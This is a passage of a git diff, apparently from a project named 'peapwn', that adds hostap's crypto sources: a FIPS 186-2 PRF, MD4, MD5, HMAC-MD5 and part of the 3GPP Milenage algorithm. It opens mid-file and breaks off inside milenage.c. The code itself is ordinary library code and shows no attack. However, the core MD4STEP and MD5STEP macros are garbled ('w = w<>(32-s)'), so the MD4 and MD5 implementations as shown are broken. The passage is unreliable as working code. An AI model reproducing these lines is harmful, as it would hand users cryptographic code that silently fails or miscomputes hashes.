SHA_CTX context; + os_memset(&context, 0, sizeof(context)); + os_memcpy(&context.h0, state, 5 * 4); + SHA1_Transform(&context, data); + os_memcpy(state, &context.h0, 5 * 4); +} + + +int fips186_2_prf(const u8 *seed, size_t seed_len, u8 *x, size_t xlen) +{ + u8 xkey[64]; + u32 t[5], _t[5]; + int i, j, m, k; + u8 *xpos = x; + u32 carry; + + if (seed_len < sizeof(xkey)) + os_memset(xkey + seed_len, 0, sizeof(xkey) - seed_len); + else + seed_len = sizeof(xkey); + + /* FIPS 186-2 + change notice 1 */ + + os_memcpy(xkey, seed, seed_len); + t[0] = 0x67452301; + t[1] = 0xEFCDAB89; + t[2] = 0x98BADCFE; + t[3] = 0x10325476; + t[4] = 0xC3D2E1F0; + + m = xlen / 40; + for (j = 0; j < m; j++) { + /* XSEED_j = 0 */ + for (i = 0; i < 2; i++) { + /* XVAL = (XKEY + XSEED_j) mod 2^b */ + + /* w_i = G(t, XVAL) */ + os_memcpy(_t, t, 20); + sha1_transform((u8 *) _t, xkey); + _t[0] = host_to_be32(_t[0]); + _t[1] = host_to_be32(_t[1]); + _t[2] = host_to_be32(_t[2]); + _t[3] = host_to_be32(_t[3]); + _t[4] = host_to_be32(_t[4]); + os_memcpy(xpos, _t, 20); + + /* XKEY = (1 + XKEY + w_i) mod 2^b */ + carry = 1; + for (k = 19; k >= 0; k--) { + carry += xkey[k] + xpos[k]; + xkey[k] = carry & 0xff; + carry >>= 8; + } + + xpos += 20; + } + /* x_j = w_0|w_1 */ + } + + return 0; +} diff --git a/peapwn/mods/hostap/src/crypto/md4-internal.c b/peapwn/mods/hostap/src/crypto/md4-internal.c new file mode 100644 index 000000000..cd5e6ca8c --- /dev/null +++ b/peapwn/mods/hostap/src/crypto/md4-internal.c @@ -0,0 +1,272 @@ +/* + * MD4 hash implementation + * Copyright (c) 2006, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "crypto.h" + +#define MD4_BLOCK_LENGTH 64 +#define MD4_DIGEST_LENGTH 16 + +typedef struct MD4Context { + u32 state[4]; /* state */ + u64 count; /* number of bits, mod 2^64 */ + u8 buffer[MD4_BLOCK_LENGTH]; /* input buffer */ +} MD4_CTX; + + +static void MD4Init(MD4_CTX *ctx); +static void MD4Update(MD4_CTX *ctx, const unsigned char *input, size_t len); +static void MD4Final(unsigned char digest[MD4_DIGEST_LENGTH], MD4_CTX *ctx); + + +int md4_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) +{ + MD4_CTX ctx; + size_t i; + + MD4Init(&ctx); + for (i = 0; i < num_elem; i++) + MD4Update(&ctx, addr[i], len[i]); + MD4Final(mac, &ctx); + return 0; +} + + +/* ===== start - public domain MD4 implementation ===== */ +/* $OpenBSD: md4.c,v 1.7 2005/08/08 08:05:35 espie Exp $ */ + +/* + * This code implements the MD4 message-digest algorithm. + * The algorithm is due to Ron Rivest. This code was + * written by Colin Plumb in 1993, no copyright is claimed. + * This code is in the public domain; do with it what you wish. + * Todd C. Miller modified the MD5 code to do MD4 based on RFC 1186. + * + * Equivalent code is available from RSA Data Security, Inc. + * This code has been tested against that, and is equivalent, + * except that you don't need to include two pages of legalese + * with every copy. + * + * To compute the message digest of a chunk of bytes, declare an + * MD4Context structure, pass it to MD4Init, call MD4Update as + * needed on buffers full of bytes, and then call MD4Final, which + * will fill a supplied 16-byte array with the digest. + */ + +#define MD4_DIGEST_STRING_LENGTH (MD4_DIGEST_LENGTH * 2 + 1) + + +static void +MD4Transform(u32 state[4], const u8 block[MD4_BLOCK_LENGTH]); + +#define PUT_64BIT_LE(cp, value) do { \ + (cp)[7] = (value) >> 56; \ + (cp)[6] = (value) >> 48; \ + (cp)[5] = (value) >> 40; \ + (cp)[4] = (value) >> 32; \ + (cp)[3] = (value) >> 24; \ + (cp)[2] = (value) >> 16; \ + (cp)[1] = (value) >> 8; \ + (cp)[0] = (value); } while (0) + +#define PUT_32BIT_LE(cp, value) do { \ + (cp)[3] = (value) >> 24; \ + (cp)[2] = (value) >> 16; \ + (cp)[1] = (value) >> 8; \ + (cp)[0] = (value); } while (0) + +static u8 PADDING[MD4_BLOCK_LENGTH] = { + 0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 +}; + +/* + * Start MD4 accumulation. + * Set bit count to 0 and buffer to mysterious initialization constants. + */ +static void MD4Init(MD4_CTX *ctx) +{ + ctx->count = 0; + ctx->state[0] = 0x67452301; + ctx->state[1] = 0xefcdab89; + ctx->state[2] = 0x98badcfe; + ctx->state[3] = 0x10325476; +} + +/* + * Update context to reflect the concatenation of another buffer full + * of bytes. + */ +static void MD4Update(MD4_CTX *ctx, const unsigned char *input, size_t len) +{ + size_t have, need; + + /* Check how many bytes we already have and how many more we need. */ + have = (size_t)((ctx->count >> 3) & (MD4_BLOCK_LENGTH - 1)); + need = MD4_BLOCK_LENGTH - have; + + /* Update bitcount */ + ctx->count += (u64)len << 3; + + if (len >= need) { + if (have != 0) { + os_memcpy(ctx->buffer + have, input, need); + MD4Transform(ctx->state, ctx->buffer); + input += need; + len -= need; + have = 0; + } + + /* Process data in MD4_BLOCK_LENGTH-byte chunks. */ + while (len >= MD4_BLOCK_LENGTH) { + MD4Transform(ctx->state, input); + input += MD4_BLOCK_LENGTH; + len -= MD4_BLOCK_LENGTH; + } + } + + /* Handle any remaining bytes of data. */ + if (len != 0) + os_memcpy(ctx->buffer + have, input, len); +} + +/* + * Pad pad to 64-byte boundary with the bit pattern + * 1 0* (64-bit count of bits processed, MSB-first) + */ +static void MD4Pad(MD4_CTX *ctx) +{ + u8 count[8]; + size_t padlen; + + /* Convert count to 8 bytes in little endian order. */ + PUT_64BIT_LE(count, ctx->count); + + /* Pad out to 56 mod 64. */ + padlen = MD4_BLOCK_LENGTH - + ((ctx->count >> 3) & (MD4_BLOCK_LENGTH - 1)); + if (padlen < 1 + 8) + padlen += MD4_BLOCK_LENGTH; + MD4Update(ctx, PADDING, padlen - 8); /* padlen - 8 <= 64 */ + MD4Update(ctx, count, 8); +} + +/* + * Final wrapup--call MD4Pad, fill in digest and zero out ctx. + */ +static void MD4Final(unsigned char digest[MD4_DIGEST_LENGTH], MD4_CTX *ctx) +{ + int i; + + MD4Pad(ctx); + if (digest != NULL) { + for (i = 0; i < 4; i++) + PUT_32BIT_LE(digest + i * 4, ctx->state[i]); + os_memset(ctx, 0, sizeof(*ctx)); + } +} + + +/* The three core functions - F1 is optimized somewhat */ + +/* #define F1(x, y, z) (x & y | ~x & z) */ +#define F1(x, y, z) (z ^ (x & (y ^ z))) +#define F2(x, y, z) ((x & y) | (x & z) | (y & z)) +#define F3(x, y, z) (x ^ y ^ z) + +/* This is the central step in the MD4 algorithm. */ +#define MD4STEP(f, w, x, y, z, data, s) \ + ( w += f(x, y, z) + data, w = w<>(32-s) ) + +/* + * The core of the MD4 algorithm, this alters an existing MD4 hash to + * reflect the addition of 16 longwords of new data. MD4Update blocks + * the data and converts bytes into longwords for this routine. + */ +static void +MD4Transform(u32 state[4], const u8 block[MD4_BLOCK_LENGTH]) +{ + u32 a, b, c, d, in[MD4_BLOCK_LENGTH / 4]; + +#if BYTE_ORDER == LITTLE_ENDIAN + os_memcpy(in, block, sizeof(in)); +#else + for (a = 0; a < MD4_BLOCK_LENGTH / 4; a++) { + in[a] = (u32)( + (u32)(block[a * 4 + 0]) | + (u32)(block[a * 4 + 1]) << 8 | + (u32)(block[a * 4 + 2]) << 16 | + (u32)(block[a * 4 + 3]) << 24); + } +#endif + + a = state[0]; + b = state[1]; + c = state[2]; + d = state[3]; + + MD4STEP(F1, a, b, c, d, in[ 0], 3); + MD4STEP(F1, d, a, b, c, in[ 1], 7); + MD4STEP(F1, c, d, a, b, in[ 2], 11); + MD4STEP(F1, b, c, d, a, in[ 3], 19); + MD4STEP(F1, a, b, c, d, in[ 4], 3); + MD4STEP(F1, d, a, b, c, in[ 5], 7); + MD4STEP(F1, c, d, a, b, in[ 6], 11); + MD4STEP(F1, b, c, d, a, in[ 7], 19); + MD4STEP(F1, a, b, c, d, in[ 8], 3); + MD4STEP(F1, d, a, b, c, in[ 9], 7); + MD4STEP(F1, c, d, a, b, in[10], 11); + MD4STEP(F1, b, c, d, a, in[11], 19); + MD4STEP(F1, a, b, c, d, in[12], 3); + MD4STEP(F1, d, a, b, c, in[13], 7); + MD4STEP(F1, c, d, a, b, in[14], 11); + MD4STEP(F1, b, c, d, a, in[15], 19); + + MD4STEP(F2, a, b, c, d, in[ 0] + 0x5a827999, 3); + MD4STEP(F2, d, a, b, c, in[ 4] + 0x5a827999, 5); + MD4STEP(F2, c, d, a, b, in[ 8] + 0x5a827999, 9); + MD4STEP(F2, b, c, d, a, in[12] + 0x5a827999, 13); + MD4STEP(F2, a, b, c, d, in[ 1] + 0x5a827999, 3); + MD4STEP(F2, d, a, b, c, in[ 5] + 0x5a827999, 5); + MD4STEP(F2, c, d, a, b, in[ 9] + 0x5a827999, 9); + MD4STEP(F2, b, c, d, a, in[13] + 0x5a827999, 13); + MD4STEP(F2, a, b, c, d, in[ 2] + 0x5a827999, 3); + MD4STEP(F2, d, a, b, c, in[ 6] + 0x5a827999, 5); + MD4STEP(F2, c, d, a, b, in[10] + 0x5a827999, 9); + MD4STEP(F2, b, c, d, a, in[14] + 0x5a827999, 13); + MD4STEP(F2, a, b, c, d, in[ 3] + 0x5a827999, 3); + MD4STEP(F2, d, a, b, c, in[ 7] + 0x5a827999, 5); + MD4STEP(F2, c, d, a, b, in[11] + 0x5a827999, 9); + MD4STEP(F2, b, c, d, a, in[15] + 0x5a827999, 13); + + MD4STEP(F3, a, b, c, d, in[ 0] + 0x6ed9eba1, 3); + MD4STEP(F3, d, a, b, c, in[ 8] + 0x6ed9eba1, 9); + MD4STEP(F3, c, d, a, b, in[ 4] + 0x6ed9eba1, 11); + MD4STEP(F3, b, c, d, a, in[12] + 0x6ed9eba1, 15); + MD4STEP(F3, a, b, c, d, in[ 2] + 0x6ed9eba1, 3); + MD4STEP(F3, d, a, b, c, in[10] + 0x6ed9eba1, 9); + MD4STEP(F3, c, d, a, b, in[ 6] + 0x6ed9eba1, 11); + MD4STEP(F3, b, c, d, a, in[14] + 0x6ed9eba1, 15); + MD4STEP(F3, a, b, c, d, in[ 1] + 0x6ed9eba1, 3); + MD4STEP(F3, d, a, b, c, in[ 9] + 0x6ed9eba1, 9); + MD4STEP(F3, c, d, a, b, in[ 5] + 0x6ed9eba1, 11); + MD4STEP(F3, b, c, d, a, in[13] + 0x6ed9eba1, 15); + MD4STEP(F3, a, b, c, d, in[ 3] + 0x6ed9eba1, 3); + MD4STEP(F3, d, a, b, c, in[11] + 0x6ed9eba1, 9); + MD4STEP(F3, c, d, a, b, in[ 7] + 0x6ed9eba1, 11); + MD4STEP(F3, b, c, d, a, in[15] + 0x6ed9eba1, 15); + + state[0] += a; + state[1] += b; + state[2] += c; + state[3] += d; +} +/* ===== end - public domain MD4 implementation ===== */ diff --git a/peapwn/mods/hostap/src/crypto/md5-internal.c b/peapwn/mods/hostap/src/crypto/md5-internal.c new file mode 100644 index 000000000..f0a2a5d3a --- /dev/null +++ b/peapwn/mods/hostap/src/crypto/md5-internal.c @@ -0,0 +1,287 @@ +/* + * MD5 hash implementation and interface functions + * Copyright (c) 2003-2005, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "md5.h" +#include "md5_i.h" +#include "crypto.h" + + +static void MD5Transform(u32 buf[4], u32 const in[16]); + + +typedef struct MD5Context MD5_CTX; + + +/** + * md5_vector - MD5 hash for data vector + * @num_elem: Number of elements in the data vector + * @addr: Pointers to the data areas + * @len: Lengths of the data blocks + * @mac: Buffer for the hash + * Returns: 0 on success, -1 of failure + */ +int md5_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) +{ + MD5_CTX ctx; + size_t i; + + MD5Init(&ctx); + for (i = 0; i < num_elem; i++) + MD5Update(&ctx, addr[i], len[i]); + MD5Final(mac, &ctx); + return 0; +} + + +/* ===== start - public domain MD5 implementation ===== */ +/* + * This code implements the MD5 message-digest algorithm. + * The algorithm is due to Ron Rivest. This code was + * written by Colin Plumb in 1993, no copyright is claimed. + * This code is in the public domain; do with it what you wish. + * + * Equivalent code is available from RSA Data Security, Inc. + * This code has been tested against that, and is equivalent, + * except that you don't need to include two pages of legalese + * with every copy. + * + * To compute the message digest of a chunk of bytes, declare an + * MD5Context structure, pass it to MD5Init, call MD5Update as + * needed on buffers full of bytes, and then call MD5Final, which + * will fill a supplied 16-byte array with the digest. + */ + +#ifndef WORDS_BIGENDIAN +#define byteReverse(buf, len) /* Nothing */ +#else +/* + * Note: this code is harmless on little-endian machines. + */ +static void byteReverse(unsigned char *buf, unsigned longs) +{ + u32 t; + do { + t = (u32) ((unsigned) buf[3] << 8 | buf[2]) << 16 | + ((unsigned) buf[1] << 8 | buf[0]); + *(u32 *) buf = t; + buf += 4; + } while (--longs); +} +#endif + +/* + * Start MD5 accumulation. Set bit count to 0 and buffer to mysterious + * initialization constants. + */ +void MD5Init(struct MD5Context *ctx) +{ + ctx->buf[0] = 0x67452301; + ctx->buf[1] = 0xefcdab89; + ctx->buf[2] = 0x98badcfe; + ctx->buf[3] = 0x10325476; + + ctx->bits[0] = 0; + ctx->bits[1] = 0; +} + +/* + * Update context to reflect the concatenation of another buffer full + * of bytes. + */ +void MD5Update(struct MD5Context *ctx, unsigned char const *buf, unsigned len) +{ + u32 t; + + /* Update bitcount */ + + t = ctx->bits[0]; + if ((ctx->bits[0] = t + ((u32) len << 3)) < t) + ctx->bits[1]++; /* Carry from low to high */ + ctx->bits[1] += len >> 29; + + t = (t >> 3) & 0x3f; /* Bytes already in shsInfo->data */ + + /* Handle any leading odd-sized chunks */ + + if (t) { + unsigned char *p = (unsigned char *) ctx->in + t; + + t = 64 - t; + if (len < t) { + os_memcpy(p, buf, len); + return; + } + os_memcpy(p, buf, t); + byteReverse(ctx->in, 16); + MD5Transform(ctx->buf, (u32 *) ctx->in); + buf += t; + len -= t; + } + /* Process data in 64-byte chunks */ + + while (len >= 64) { + os_memcpy(ctx->in, buf, 64); + byteReverse(ctx->in, 16); + MD5Transform(ctx->buf, (u32 *) ctx->in); + buf += 64; + len -= 64; + } + + /* Handle any remaining bytes of data. */ + + os_memcpy(ctx->in, buf, len); +} + +/* + * Final wrapup - pad to 64-byte boundary with the bit pattern + * 1 0* (64-bit count of bits processed, MSB-first) + */ +void MD5Final(unsigned char digest[16], struct MD5Context *ctx) +{ + unsigned count; + unsigned char *p; + + /* Compute number of bytes mod 64 */ + count = (ctx->bits[0] >> 3) & 0x3F; + + /* Set the first char of padding to 0x80. This is safe since there is + always at least one byte free */ + p = ctx->in + count; + *p++ = 0x80; + + /* Bytes of padding needed to make 64 bytes */ + count = 64 - 1 - count; + + /* Pad out to 56 mod 64 */ + if (count < 8) { + /* Two lots of padding: Pad the first block to 64 bytes */ + os_memset(p, 0, count); + byteReverse(ctx->in, 16); + MD5Transform(ctx->buf, (u32 *) ctx->in); + + /* Now fill the next block with 56 bytes */ + os_memset(ctx->in, 0, 56); + } else { + /* Pad block to 56 bytes */ + os_memset(p, 0, count - 8); + } + byteReverse(ctx->in, 14); + + /* Append length in bits and transform */ + ((u32 *) aliasing_hide_typecast(ctx->in, u32))[14] = ctx->bits[0]; + ((u32 *) aliasing_hide_typecast(ctx->in, u32))[15] = ctx->bits[1]; + + MD5Transform(ctx->buf, (u32 *) ctx->in); + byteReverse((unsigned char *) ctx->buf, 4); + os_memcpy(digest, ctx->buf, 16); + os_memset(ctx, 0, sizeof(*ctx)); /* In case it's sensitive */ +} + +/* The four core functions - F1 is optimized somewhat */ + +/* #define F1(x, y, z) (x & y | ~x & z) */ +#define F1(x, y, z) (z ^ (x & (y ^ z))) +#define F2(x, y, z) F1(z, x, y) +#define F3(x, y, z) (x ^ y ^ z) +#define F4(x, y, z) (y ^ (x | ~z)) + +/* This is the central step in the MD5 algorithm. */ +#define MD5STEP(f, w, x, y, z, data, s) \ + ( w += f(x, y, z) + data, w = w<>(32-s), w += x ) + +/* + * The core of the MD5 algorithm, this alters an existing MD5 hash to + * reflect the addition of 16 longwords of new data. MD5Update blocks + * the data and converts bytes into longwords for this routine. + */ +static void MD5Transform(u32 buf[4], u32 const in[16]) +{ + register u32 a, b, c, d; + + a = buf[0]; + b = buf[1]; + c = buf[2]; + d = buf[3]; + + MD5STEP(F1, a, b, c, d, in[0] + 0xd76aa478, 7); + MD5STEP(F1, d, a, b, c, in[1] + 0xe8c7b756, 12); + MD5STEP(F1, c, d, a, b, in[2] + 0x242070db, 17); + MD5STEP(F1, b, c, d, a, in[3] + 0xc1bdceee, 22); + MD5STEP(F1, a, b, c, d, in[4] + 0xf57c0faf, 7); + MD5STEP(F1, d, a, b, c, in[5] + 0x4787c62a, 12); + MD5STEP(F1, c, d, a, b, in[6] + 0xa8304613, 17); + MD5STEP(F1, b, c, d, a, in[7] + 0xfd469501, 22); + MD5STEP(F1, a, b, c, d, in[8] + 0x698098d8, 7); + MD5STEP(F1, d, a, b, c, in[9] + 0x8b44f7af, 12); + MD5STEP(F1, c, d, a, b, in[10] + 0xffff5bb1, 17); + MD5STEP(F1, b, c, d, a, in[11] + 0x895cd7be, 22); + MD5STEP(F1, a, b, c, d, in[12] + 0x6b901122, 7); + MD5STEP(F1, d, a, b, c, in[13] + 0xfd987193, 12); + MD5STEP(F1, c, d, a, b, in[14] + 0xa679438e, 17); + MD5STEP(F1, b, c, d, a, in[15] + 0x49b40821, 22); + + MD5STEP(F2, a, b, c, d, in[1] + 0xf61e2562, 5); + MD5STEP(F2, d, a, b, c, in[6] + 0xc040b340, 9); + MD5STEP(F2, c, d, a, b, in[11] + 0x265e5a51, 14); + MD5STEP(F2, b, c, d, a, in[0] + 0xe9b6c7aa, 20); + MD5STEP(F2, a, b, c, d, in[5] + 0xd62f105d, 5); + MD5STEP(F2, d, a, b, c, in[10] + 0x02441453, 9); + MD5STEP(F2, c, d, a, b, in[15] + 0xd8a1e681, 14); + MD5STEP(F2, b, c, d, a, in[4] + 0xe7d3fbc8, 20); + MD5STEP(F2, a, b, c, d, in[9] + 0x21e1cde6, 5); + MD5STEP(F2, d, a, b, c, in[14] + 0xc33707d6, 9); + MD5STEP(F2, c, d, a, b, in[3] + 0xf4d50d87, 14); + MD5STEP(F2, b, c, d, a, in[8] + 0x455a14ed, 20); + MD5STEP(F2, a, b, c, d, in[13] + 0xa9e3e905, 5); + MD5STEP(F2, d, a, b, c, in[2] + 0xfcefa3f8, 9); + MD5STEP(F2, c, d, a, b, in[7] + 0x676f02d9, 14); + MD5STEP(F2, b, c, d, a, in[12] + 0x8d2a4c8a, 20); + + MD5STEP(F3, a, b, c, d, in[5] + 0xfffa3942, 4); + MD5STEP(F3, d, a, b, c, in[8] + 0x8771f681, 11); + MD5STEP(F3, c, d, a, b, in[11] + 0x6d9d6122, 16); + MD5STEP(F3, b, c, d, a, in[14] + 0xfde5380c, 23); + MD5STEP(F3, a, b, c, d, in[1] + 0xa4beea44, 4); + MD5STEP(F3, d, a, b, c, in[4] + 0x4bdecfa9, 11); + MD5STEP(F3, c, d, a, b, in[7] + 0xf6bb4b60, 16); + MD5STEP(F3, b, c, d, a, in[10] + 0xbebfbc70, 23); + MD5STEP(F3, a, b, c, d, in[13] + 0x289b7ec6, 4); + MD5STEP(F3, d, a, b, c, in[0] + 0xeaa127fa, 11); + MD5STEP(F3, c, d, a, b, in[3] + 0xd4ef3085, 16); + MD5STEP(F3, b, c, d, a, in[6] + 0x04881d05, 23); + MD5STEP(F3, a, b, c, d, in[9] + 0xd9d4d039, 4); + MD5STEP(F3, d, a, b, c, in[12] + 0xe6db99e5, 11); + MD5STEP(F3, c, d, a, b, in[15] + 0x1fa27cf8, 16); + MD5STEP(F3, b, c, d, a, in[2] + 0xc4ac5665, 23); + + MD5STEP(F4, a, b, c, d, in[0] + 0xf4292244, 6); + MD5STEP(F4, d, a, b, c, in[7] + 0x432aff97, 10); + MD5STEP(F4, c, d, a, b, in[14] + 0xab9423a7, 15); + MD5STEP(F4, b, c, d, a, in[5] + 0xfc93a039, 21); + MD5STEP(F4, a, b, c, d, in[12] + 0x655b59c3, 6); + MD5STEP(F4, d, a, b, c, in[3] + 0x8f0ccc92, 10); + MD5STEP(F4, c, d, a, b, in[10] + 0xffeff47d, 15); + MD5STEP(F4, b, c, d, a, in[1] + 0x85845dd1, 21); + MD5STEP(F4, a, b, c, d, in[8] + 0x6fa87e4f, 6); + MD5STEP(F4, d, a, b, c, in[15] + 0xfe2ce6e0, 10); + MD5STEP(F4, c, d, a, b, in[6] + 0xa3014314, 15); + MD5STEP(F4, b, c, d, a, in[13] + 0x4e0811a1, 21); + MD5STEP(F4, a, b, c, d, in[4] + 0xf7537e82, 6); + MD5STEP(F4, d, a, b, c, in[11] + 0xbd3af235, 10); + MD5STEP(F4, c, d, a, b, in[2] + 0x2ad7d2bb, 15); + MD5STEP(F4, b, c, d, a, in[9] + 0xeb86d391, 21); + + buf[0] += a; + buf[1] += b; + buf[2] += c; + buf[3] += d; +} +/* ===== end - public domain MD5 implementation ===== */ diff --git a/peapwn/mods/hostap/src/crypto/md5.c b/peapwn/mods/hostap/src/crypto/md5.c new file mode 100644 index 000000000..db2b8cc31 --- /dev/null +++ b/peapwn/mods/hostap/src/crypto/md5.c @@ -0,0 +1,105 @@ +/* + * MD5 hash implementation and interface functions + * Copyright (c) 2003-2005, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "md5.h" +#include "crypto.h" + + +/** + * hmac_md5_vector - HMAC-MD5 over data vector (RFC 2104) + * @key: Key for HMAC operations + * @key_len: Length of the key in bytes + * @num_elem: Number of elements in the data vector + * @addr: Pointers to the data areas + * @len: Lengths of the data blocks + * @mac: Buffer for the hash (16 bytes) + * Returns: 0 on success, -1 on failure + */ +int hmac_md5_vector(const u8 *key, size_t key_len, size_t num_elem, + const u8 *addr[], const size_t *len, u8 *mac) +{ + u8 k_pad[64]; /* padding - key XORd with ipad/opad */ + u8 tk[16]; + const u8 *_addr[6]; + size_t i, _len[6]; + + if (num_elem > 5) { + /* + * Fixed limit on the number of fragments to avoid having to + * allocate memory (which could fail). + */ + return -1; + } + + /* if key is longer than 64 bytes reset it to key = MD5(key) */ + if (key_len > 64) { + if (md5_vector(1, &key, &key_len, tk)) + return -1; + key = tk; + key_len = 16; + } + + /* the HMAC_MD5 transform looks like: + * + * MD5(K XOR opad, MD5(K XOR ipad, text)) + * + * where K is an n byte key + * ipad is the byte 0x36 repeated 64 times + * opad is the byte 0x5c repeated 64 times + * and text is the data being protected */ + + /* start out by storing key in ipad */ + os_memset(k_pad, 0, sizeof(k_pad)); + os_memcpy(k_pad, key, key_len); + + /* XOR key with ipad values */ + for (i = 0; i < 64; i++) + k_pad[i] ^= 0x36; + + /* perform inner MD5 */ + _addr[0] = k_pad; + _len[0] = 64; + for (i = 0; i < num_elem; i++) { + _addr[i + 1] = addr[i]; + _len[i + 1] = len[i]; + } + if (md5_vector(1 + num_elem, _addr, _len, mac)) + return -1; + + os_memset(k_pad, 0, sizeof(k_pad)); + os_memcpy(k_pad, key, key_len); + /* XOR key with opad values */ + for (i = 0; i < 64; i++) + k_pad[i] ^= 0x5c; + + /* perform outer MD5 */ + _addr[0] = k_pad; + _len[0] = 64; + _addr[1] = mac; + _len[1] = MD5_MAC_LEN; + return md5_vector(2, _addr, _len, mac); +} + + +/** + * hmac_md5 - HMAC-MD5 over data buffer (RFC 2104) + * @key: Key for HMAC operations + * @key_len: Length of the key in bytes + * @data: Pointers to the data area + * @data_len: Length of the data area + * @mac: Buffer for the hash (16 bytes) + * Returns: 0 on success, -1 on failure + */ +int hmac_md5(const u8 *key, size_t key_len, const u8 *data, size_t data_len, + u8 *mac) +{ + return hmac_md5_vector(key, key_len, 1, &data, &data_len, mac); +} diff --git a/peapwn/mods/hostap/src/crypto/md5.h b/peapwn/mods/hostap/src/crypto/md5.h new file mode 100644 index 000000000..33f8426c5 --- /dev/null +++ b/peapwn/mods/hostap/src/crypto/md5.h @@ -0,0 +1,19 @@ +/* + * MD5 hash implementation and interface functions + * Copyright (c) 2003-2009, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef MD5_H +#define MD5_H + +#define MD5_MAC_LEN 16 + +int hmac_md5_vector(const u8 *key, size_t key_len, size_t num_elem, + const u8 *addr[], const size_t *len, u8 *mac); +int hmac_md5(const u8 *key, size_t key_len, const u8 *data, size_t data_len, + u8 *mac); + +#endif /* MD5_H */ diff --git a/peapwn/mods/hostap/src/crypto/md5_i.h b/peapwn/mods/hostap/src/crypto/md5_i.h new file mode 100644 index 000000000..7dfc10037 --- /dev/null +++ b/peapwn/mods/hostap/src/crypto/md5_i.h @@ -0,0 +1,23 @@ +/* + * MD5 internal definitions + * Copyright (c) 2003-2005, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef MD5_I_H +#define MD5_I_H + +struct MD5Context { + u32 buf[4]; + u32 bits[2]; + u8 in[64]; +}; + +void MD5Init(struct MD5Context *context); +void MD5Update(struct MD5Context *context, unsigned char const *buf, + unsigned len); +void MD5Final(unsigned char digest[16], struct MD5Context *context); + +#endif /* MD5_I_H */ diff --git a/peapwn/mods/hostap/src/crypto/milenage.c b/peapwn/mods/hostap/src/crypto/milenage.c new file mode 100644 index 000000000..a7f9c6a28 --- /dev/null +++ b/peapwn/mods/hostap/src/crypto/milenage.c @@ -0,0 +1,323 @@ +/* + * 3GPP AKA - Milenage algorithm (3GPP TS 35.205, .206, .207, .208) + * Copyright (c) 2006-2007 + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + * + * This file implements an example authentication algorithm defined for 3GPP + * AKA. This can be used to implement a simple HLR/AuC into hlr_auc_gw to allow + * EAP-AKA to be tested properly with real USIM cards. + * + * This implementations assumes that the r1..r5 and c1..c5 constants defined in + * TS 35.206 are used, i.e., r1=64, r2=0, r3=32, r4=64, r5=96, c1=00..00, + * c2=00..01, c3=00..02, c4=00..04, c5=00..08. The block cipher is assumed to + * be AES (Rijndael). + */ + +#include "includes.h" + +#include "common.h" +#include "crypto/aes_wrap.h" +#include "milenage.h" + + +/** + * milenage_f1 - Milenage f1 and f1* algorithms + * @opc: OPc = 128-bit value derived from OP and K + * @k: K = 128-bit subscriber key + * @_rand: RAND = 128-bit random challenge + * @sqn: SQN = 48-bit sequence number + * @amf: AMF = 16-bit authentication management field + * @mac_a: Buffer for MAC-A = 64-bit network authentication code, or %NULL + * @mac_s: Buffer for MAC-S = 64-bit resync authentication code, or %NULL + * Returns: 0 on success, -1 on failure + */ +int milenage_f1(const u8 *opc, const u8 *k, const u8 *_rand, + const u8 *sqn, const u8 *amf, u8 *mac_a, u8 *mac_s) +{ + u8 tmp1[16], tmp2[16], tmp3[16]; + int i; + + /* tmp1 = TEMP = E_K(RAND XOR OP_C) */ + for (i = 0; i < 16; i++) + tmp1[i] = _rand[i] ^ opc[i]; + if (aes_128_encrypt_block(k, tmp1, tmp1)) + return -1; + + /* tmp2 = IN1 = SQN || AMF || SQN || AMF */ + os_memcpy(tmp2, sqn, 6); + os_memcpy(tmp2 + 6, amf, 2); + os_memcpy(tmp2 + 8, tmp2, 8); + + /* OUT1 = E_K(TEMP XOR rot(IN1 XOR OP_C, r1) XOR c1) XOR OP_C */ + + /* rotate (tmp2 XOR OP_C) by r1 (= 0x40 = 8 bytes) */ + for (i = 0; i < 16; i++) + tmp3[(i + 8) % 16] = tmp2[i] ^ opc[i]; + /* XOR with TEMP = E_K(RAND XOR OP_C) */ + for (i = 0; i < 16; i++) + tmp3[i] ^= tmp1[i]; + /* XOR with c1 (= ..00, i.e., NOP) */ + + /* f1 || f1* = E_K(tmp3) XOR OP_c */ + if (aes_128_encrypt_block(k, tmp3, tmp1)) + return -1; + for (i = 0; i < 16; i++) + tmp1[i] ^= opc[i]; + if (mac_a) + os_memcpy(mac_a, tmp1, 8); /* f1 */ + if (mac_s) + os_memcpy(mac_s, tmp1 + 8, 8); /* f1* */ + return 0; +} + + +/** + * milenage_f2345 - Milenage f2, f3, f4, f5, f5* algorithms + * @opc: OPc = 128-bit value derived from OP and K + * @k: K = 128-bit subscriber key + * @_rand: RAND = 128-bit random challenge + * @res: Buffer for RES = 64-bit signed response (f2), or %NULL + * @ck: Buffer for CK = 128-bit confidentiality key (f3), or %NULL + * @ik: Buffer for IK = 128-bit integrity key (f4), or %NULL + * @ak: Buffer for AK = 48-bit anonymity key (f5), or %NULL + * @akstar: Buffer for AK = 48-bit anonymity key (f5*), or %NULL + * Returns: 0 on success, -1 on failure + */ +int milenage_f2345(const u8 *opc, const u8 *k, const u8 *_rand, + u8 *res, u8 *ck, u8 *ik, u8 *ak, u8 *akstar) +{ + u8 tmp1[16], tmp2[16], tmp3[16]; + int i; + + /* tmp2 = TEMP = E_K(RAND XOR OP_C) */ + for (i = 0; i < 16; i++) + tmp1[i] = _rand[i] ^ opc[i]; + if (aes_128_encrypt_block(k, tmp1, tmp2)) + return -1; + + /* OUT2 = E_K(rot(TEMP XOR OP_C, r2) XOR c2) XOR OP_C */ + /* OUT3 = E_K(rot(TEMP XOR 